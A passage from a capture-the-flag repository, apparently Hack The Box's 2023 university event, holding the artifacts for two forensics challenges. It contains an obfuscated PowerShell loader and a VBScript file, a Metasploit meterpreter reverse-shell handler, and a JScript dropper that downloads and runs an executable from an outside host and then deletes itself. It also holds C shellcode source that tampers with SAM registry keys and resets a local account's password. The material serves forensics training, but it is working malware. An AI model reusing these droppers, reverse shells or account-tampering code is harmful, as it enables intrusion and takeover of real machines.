m9tYmllcC0em9tYmllcZwB0em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllcKwem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcuem9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcDsem9tYmllcJem9tYmllcBiem9tYmllcGEem9tYmllccwBlem9tYmllcDYem9tYmllcNem9tYmllcBMem9tYmllcGUem9tYmllcbgBnem9tYmllcHQem9tYmllcaem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcHMem9tYmllcdem9tYmllcBhem9tYmllcHIem9tYmllcdem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcOwem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFMem9tYmllcdQBiem9tYmllcHMem9tYmllcdem9tYmllcByem9tYmllcGkem9tYmllcbgBnem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCwem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBDem9tYmllcG8em9tYmllcbgB2em9tYmllcGUem9tYmllccgB0em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEYem9tYmllccgBvem9tYmllcG0em9tYmllcQgBhem9tYmllcHMem9tYmllcZQem9tYmllc2em9tYmllcDQem9tYmllcUwB0em9tYmllcHIem9tYmllcaQBuem9tYmllcGcem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbem9tYmllcBvem9tYmllcGEem9tYmllcZem9tYmllcBlem9tYmllcGQem9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBSem9tYmllcGUem9tYmllcZgBsem9tYmllcGUem9tYmllcYwB0em9tYmllcGkem9tYmllcbwBuem9tYmllcC4em9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEwem9tYmllcbwBhem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcHQem9tYmllceQBwem9tYmllcGUem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBsem9tYmllcG8em9tYmllcYQBkem9tYmllcGUem9tYmllcZem9tYmllcBBem9tYmllcHMem9tYmllccwBlem9tYmllcG0em9tYmllcYgBsem9tYmllcHkem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBUem9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcCgem9tYmllcJwBGem9tYmllcGkem9tYmllcYgBlem9tYmllcHIem9tYmllcLgBIem9tYmllcG8em9tYmllcbQBlem9tYmllcCcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcB0em9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcC4em9tYmllcRwBlem9tYmllcHQem9tYmllcTQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFYem9tYmllcQQBJem9tYmllcCcem9tYmllcKQem9tYmllcuem9tYmllcEkem9tYmllcbgB2em9tYmllcG8em9tYmllcawBlem9tYmllcCgem9tYmllcJem9tYmllcBuem9tYmllcHUem9tYmllcbem9tYmllcBsem9tYmllcCwem9tYmllcIem9tYmllcBbem9tYmllcG8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcFsem9tYmllcXQBdem9tYmllcCem9tYmllcem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFoem9tYmllcRem9tYmllcBWem9tYmllcGsem9tYmllcWgBtem9tYmllcFkem9tYmllceQBNem9tYmllcFcem9tYmllcSQB4em9tYmllcE4em9tYmllcMgBWem9tYmllcGwem9tYmllcTem9tYmllcBUem9tYmllcEYem9tYmllcbQBOem9tYmllcEQem9tYmllcZwB0em9tYmllcE4em9tYmllcVwBNem9tYmllcDMem9tYmllcTgBDem9tYmllcDEem9tYmllcagBPem9tYmllcFQem9tYmllcTQem9tYmllcwem9tYmllcEwem9tYmllcVwBRem9tYmllcDMem9tYmllcTQem9tYmllcyem9tYmllcE0em9tYmllceQBZem9tYmllcFQem9tYmllcWQB6em9tYmllcFem9tYmllcem9tYmllcVwem9tYmllc1em9tYmllcGwem9tYmllcYQem9tYmllcyem9tYmllcDkem9tYmllcMem9tYmllcBKem9tYmllcG0em9tYmllcRgBwem9tYmllcFoem9tYmllcRwBWem9tYmllcHQem9tYmllcUem9tYmllcBYem9tYmllcFIem9tYmllccwBZem9tYmllcFQem9tYmllcOQem9tYmllcwem9tYmllcGUem9tYmllcSem9tYmllcBRem9tYmllcHUem9tYmllcYwBtem9tYmllcFYem9tYmllcbQBjem9tYmllcDIem9tYmllcNQBoem9tYmllcGMem9tYmllcbgBRem9tYmllcHYem9tYmllcYgB5em9tYmllcDkem9tYmllcdem9tYmllcBiem9tYmllcDIem9tYmllcTQB1em9tYmllcGQem9tYmllcRwem9tYmllc5em9tYmllcHcem9tYmllcYwem9tYmllczem9tYmllcEIem9tYmllcdwBZem9tYmllcFMem9tYmllcNQBtem9tYmllcE8em9tYmllcVem9tYmllcBOem9tYmllcGoem9tYmllcTgBpem9tYmllcDEem9tYmllcbgBiem9tYmllcG0em9tYmllcbem9tYmllcByem9tYmllcFkem9tYmllcMgBGem9tYmllcG8em9tYmllcTem9tYmllcem9tYmllcyem9tYmllcEkem9tYmllcdgBNem9tYmllcEgem9tYmllcWQB2em9tYmllcGIem9tYmllcVwem9tYmllc5em9tYmllcGoem9tYmllcTem9tYmllcBuem9tYmllcE4em9tYmllccem9tYmllcBjem9tYmllcEcem9tYmllcRgBsem9tYmllcGIem9tYmllcRwBkem9tYmllcHYem9tYmllcYgem9tYmllcyem9tYmllcGMem9tYmllcdQBaem9tYmllcFcem9tYmllcZem9tYmllcBoem9tYmllcGMem9tYmllcbQem9tYmllc5em9tYmllcDem9tYmllcem9tYmllcYwem9tYmllcyem9tYmllcFYem9tYmllcegBZem9tYmllcFcem9tYmllcSgBsem9tYmllcGMem9tYmllcbQBsem9tYmllcG0em9tYmllcTem9tYmllcB5em9tYmllcDgem9tYmllcNgBjem9tYmllcDMem9tYmllcQgem9tYmllcwem9tYmllcGQem9tYmllcRwBnem9tYmllcD0em9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGQem9tYmllcZgBkem9tYmllcGYem9tYmllcZem9tYmllcem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBhem9tYmllcGQem9tYmllccwBhem9tYmllcCcem9tYmllcIem9tYmllcem9tYmllcsem9tYmllcCem9tYmllcem9tYmllcJwBkem9tYmllcGUem9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGMem9tYmllcdQem9tYmllcnem9tYmllcCkem9tYmllcKQem9tYmllc=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string($codigo.replace(''em9tYmllc'',''A'')));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/vb.txt: -------------------------------------------------------------------------------- 1 | on error resume next 2 | iNVtSaitDqYDXJPxCfHWEAGYpemRZOHLslIzccealttvDCTUqMsJwWxzGzqbwJPbsFmAIyBdCUmDErCJhFpNugssgEeEfUuxLBqtODyIAbXsCkFaBkqihZAoxURjiseVzLxwJUwdDMykQieOhEfaMsBsvUxwRIIYumjFlLGFCwpaHHHySoCLcFnuaZhKvLWGhOnYCUQVSAeQRYgxSKGZX 3 | bBMSeGdXWzWWYkcbbZGWwQtGEGIVliXUdncyWQUOtMJjqXcTpQRfcltWEspfFbrIQxlCWyiWMjqewZnYmjlXlyubzhCvrVKRXBZwPcZBGVdocfIkWUQwXnrrByMhTGTZdgqohwHAZivRetLgZjmOBZaVjieAHIvCpErXkrDYXXfFqLVrhByAZjPwIBl:ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz = " " 4 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: 5 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: 6 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: 7 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: 8 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: 9 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx: -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/pdf.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/vt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/vt.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/wireshark.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/biohazard_containment_update.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/biohazard_containment_update.pdf -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/msf/handler.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/x64/meterpreter_reverse_tcp 3 | set LHOST vboxnet0 4 | set LPORT 21589 5 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/msf/runner.js: -------------------------------------------------------------------------------- 1 | var sh = new ActiveXObject("WScript.Shell"); 2 | sh.Run( 3 | "powershell.exe -W Hidden -nop -ep bypass -NoExit -E JABuAGEAbQBlACAAPQAgACIAYgBpAG8AaABhAHoAYQByAGQAXwBjAG8AbgB0AGEAaQBuAG0AZQBuAHQAXwB1AHAAZABhAHQAZQAuAHAAZABmACIADQAKACQAcABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAXAAkAG4AYQBtAGUAIgANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgACIAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvACQAbgBhAG0AZQAiACAALQBPAHUAdABGAGkAbABlACAAJABwAGEAdABoAA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAGEAdABoAA==" 4 | ); 5 | sh.Run( 6 | "powershell.exe -W Hidden -nop -ep bypass -NoExit -E aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvAHMAdAAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQALgBlAHgAZQANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AC4AZQB4AGUAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMA" 7 | ); 8 | 9 | var js_file_path = WScript.ScriptFullName; 10 | sh.Run("cmd.exe /c del " + js_file_path); 11 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode.bin -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34024.191 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UNI-ctf-shellcode", "UNI-ctf-shellcode\UNI-ctf-shellcode.vcxproj", "{3012F290-4C0D-4543-97B3-9E21D305A8EB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x64.ActiveCfg = Debug|x64 17 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x64.Build.0 = Debug|x64 18 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x86.ActiveCfg = Debug|Win32 19 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x86.Build.0 = Debug|Win32 20 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x64.ActiveCfg = Release|x64 21 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x64.Build.0 = Release|x64 22 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x86.ActiveCfg = Release|Win32 23 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4FDDD797-906A-496F-9304-51F50069D82A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 17.0 29 | Win32Proj 30 | {3012f290-4c0d-4543-97b3-9e21d305a8eb} 31 | UNIctfshellcode 32 | 10.0 33 | 34 | 35 | 36 | Application 37 | true 38 | v143 39 | Unicode 40 | 41 | 42 | Application 43 | false 44 | v143 45 | true 46 | Unicode 47 | 48 | 49 | Application 50 | true 51 | v143 52 | Unicode 53 | 54 | 55 | Application 56 | false 57 | v143 58 | true 59 | Unicode 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | Level3 82 | true 83 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 84 | true 85 | 86 | 87 | Console 88 | true 89 | 90 | 91 | 92 | 93 | Level3 94 | true 95 | true 96 | true 97 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 98 | true 99 | 100 | 101 | Console 102 | true 103 | true 104 | true 105 | 106 | 107 | 108 | 109 | Level3 110 | true 111 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 112 | true 113 | 114 | 115 | Console 116 | true 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | true 124 | true 125 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | 128 | 129 | Console 130 | true 131 | true 132 | true 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "peb_lookup.h" 3 | 4 | typedef UINT(WINAPI* WinExec_t)(LPCSTR, UINT); 5 | typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR); 6 | typedef LPCSTR(WINAPI* lstrcatA_t)(LPSTR, LPCSTR); 7 | typedef int(WINAPIV* wsprintfA_t)(LPSTR, LPCSTR, ...); 8 | typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE, LPCSTR); 9 | typedef DWORD(WINAPI* NetUserSetInfo_t)(LPWSTR, LPWSTR, DWORD, PBYTE, PDWORD); 10 | typedef LSTATUS(WINAPI* RegOpenKeyExA_t)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); 11 | typedef LSTATUS(WINAPI* RegSetKeyValueA_t)(HKEY, LPCSTR, LPCSTR, DWORD, LPCVOID, DWORD); 12 | typedef LSTATUS(WINAPI* RegGetValueA_t)(HKEY, LPCSTR, LPCSTR, DWORD, LPDWORD, LPVOID, LPDWORD); 13 | 14 | 15 | typedef struct _USER_INFO_1003 { 16 | LPWSTR usri1003_password; 17 | } USER_INFO_1003, * PUSER_INFO_1003, * LPUSER_INFO_1003; 18 | 19 | inline void fix(wchar_t * buffer, wchar_t * key) { 20 | for (int i = 0; i < 60; i++) { 21 | buffer[i] ^= key[i]; 22 | } 23 | buffer[59] = L'\0'; 24 | } 25 | 26 | int main() { 27 | wchar_t kernel32_str[] = L"kernel32.dll"; 28 | wchar_t username_str[] = L"BIOHAZARD_MGMT_GUEST"; 29 | 30 | char user32_str[] = "user32.dll"; 31 | char advapi32_str[] = "advapi32.dll"; 32 | char netapi32_str[] = "netapi32.dll"; 33 | char LoadLibraryA_str[] = "LoadLibraryA"; 34 | char GetProcAddress_str[] = "GetProcAddress"; 35 | 36 | // for some reason this can't be inlined properly 37 | // if defined like the other strings will fail lookup after manual linking 38 | char WinExec_str[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' }; 39 | char wsprintfA_str[] = "wsprintfA"; 40 | char lstrcatA_str[] = "lstrcatA"; 41 | char RegGetValueA_str[] = "RegGetValueA"; 42 | char RegSetKeyValueA_str[] = "RegSetKeyValueA"; 43 | char CreateFileA_str[] = "CreateFileA"; 44 | char CloseHandle_str[] = "CloseHandle"; 45 | char RegOpenKeyExA_str[] = "RegOpenKeyExA"; 46 | char NetUserSetInfo_str[] = "NetUserSetInfo"; 47 | 48 | //char user_add_str[] = "cmd.exe /c net user GUEST_1 /add"; 49 | char reg_users_key_str[] = { 'S','A','M','\\','S','A','M','\\','D','o','m','a','i','n','s','\\','A','c','c','o','u','n','t','\\','U','s','e','r','s','\\','\0' }; 50 | char reg_username_key_str[] = { 'S','A','M','\\','S','A','M','\\','D','o','m','a','i','n','s','\\','A','c','c','o','u','n','t','\\','U','s','e','r','s','\\','N','a','m','e','s','\\','b','i','o','h','a','z','a','r','d','_','m','g','m','t','_','g','u','e','s','t','\0' }; 51 | char F[] = { 'F', '\0' }; 52 | char pass_change_cmd_str[] = { 'c','m','d','.','e','x','e',' ','/','c',' ','n','e','t',' ','u','s','e','r',' ','B','I','O','H','A','Z','A','R','D','_','M','G','M','T','_','G','U','E','S','T','\0' }; 53 | 54 | wchar_t new_pass[] = L"\x84\x63\x8e\x53\x32\x3b\x37\x35\xd0\xc4\xaf\x79\x2c\x4b\xdb\xb6\xae\xdd\xac\x76\x9e\x93\x9d\x14\x41\x88\x94\xe5\x3f\x40\xbb\x3e\x3b\xbe\x59\x9a\xce\x90\x1b\xf2\x00\xc6\x32\x11\x85\x35\x2a\x57\x5d\x52\xbb\x19\xea\xa2\x77\x3b\x30\x5d\x68"; 55 | wchar_t key[] = L"\xcc\x37\xcc\x28\x51\x4e\x44\x41\xe0\xa9\xf0\x2a\x1f\x39\xae\xdb\x83\x85\xf5\x29\xed\xfb\xae\x78\x2d\xeb\xa4\x81\x5a\x1f\x8f\x59\x0f\x8f\x37\xe9\xba\xcf\x53\xc6\x63\xad\x41\x65\xb6\x47\x75\x02\x33\x63\xcd\x2a\x98\xd1\x46\x4f\x49\x7c\x15"; 56 | 57 | 58 | // resolve kernel32.dll address 59 | LPVOID kernel32_dll = get_module_by_name((const LPWSTR)kernel32_str); 60 | if (!kernel32_dll) return 1; 61 | 62 | // resolve LoadLibraryA() address 63 | LPVOID __load_lib = get_func_by_name((HMODULE)kernel32_dll, LoadLibraryA_str); 64 | if (!__load_lib) return 2; 65 | 66 | // resolve GetProcAddress() address 67 | LPVOID __get_proc = get_func_by_name((HMODULE)kernel32_dll, GetProcAddress_str); 68 | if (!__get_proc) return 3; 69 | 70 | // define functions 71 | LoadLibraryA_t _LoadLibraryA = (LoadLibraryA_t)__load_lib; 72 | GetProcAddress_t _GetProcAddress = (GetProcAddress_t)__get_proc; 73 | 74 | // Load user32.dll and advapi32.dll 75 | LPVOID user32_dll = _LoadLibraryA(user32_str); 76 | LPVOID advapi32_dll = _LoadLibraryA(advapi32_str); 77 | LPVOID netapi32_dll = _LoadLibraryA(netapi32_str); 78 | 79 | if (!user32_dll || !advapi32_dll || !netapi32_dll) return 4; 80 | 81 | // Load needed functions 82 | 83 | // Load kernel32.dll 